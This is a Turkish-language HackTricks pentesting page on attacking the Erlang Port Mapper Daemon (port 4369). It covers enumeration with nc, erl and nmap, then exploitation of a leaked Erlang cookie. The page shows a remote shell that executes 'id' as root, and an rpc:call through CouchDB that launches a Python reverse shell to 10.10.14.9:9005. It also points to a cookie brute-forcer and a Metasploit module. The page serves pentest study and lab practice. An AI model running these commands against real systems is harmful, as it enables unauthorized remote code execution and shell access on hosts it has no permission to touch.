hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

5.5 KiB
Raw Permalink Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Temel Bilgiler

Erlang Port Mapper Daemon (epmd), dağıtık Erlang örnekleri için bir koordinatör olarak hizmet eder. Sembolik düğüm adlarını makine adreslerine eşlemekten sorumludur ve bu, her düğüm adının belirli bir adresle ilişkilendirilmesini sağlar. epmd'nin bu rolü, farklı Erlang düğümleri arasında ağ üzerinde kesintisiz etkileşim ve iletişim için kritik öneme sahiptir.

Varsayılan port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Bu, varsayılan olarak RabbitMQ ve CouchDB kurulumlarında kullanılır.

Sayım

Manuel

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Otomatik

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Uzaktan Bağlantı

Eğer Kimlik Doğrulama çerezini sızdırabilirseniz, host üzerinde kod çalıştırabilirsiniz. Genellikle, bu çerez ~/.erlang.cookie dosyasında bulunur ve erlang tarafından ilk başlatıldığında oluşturulur. Eğer değiştirilmemiş veya manuel olarak ayarlanmamışsa, 20 karakter uzunluğunda [A:Z] aralığında rastgele bir dizedir.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Daha fazla bilgi için https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Yazar ayrıca çerezi zorlamak için bir program paylaşıyor:

{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}

Yerel Bağlantı

Bu durumda, yerel olarak ayrıcalıkları artırmak için CouchDB'yi kötüye kullanacağız:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Örnek https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution adresinden alınmıştır.
Bu açığı istismar etmeyi pratik yapmak için Canape HTB makinesini kullanabilirsiniz.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "portta"

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}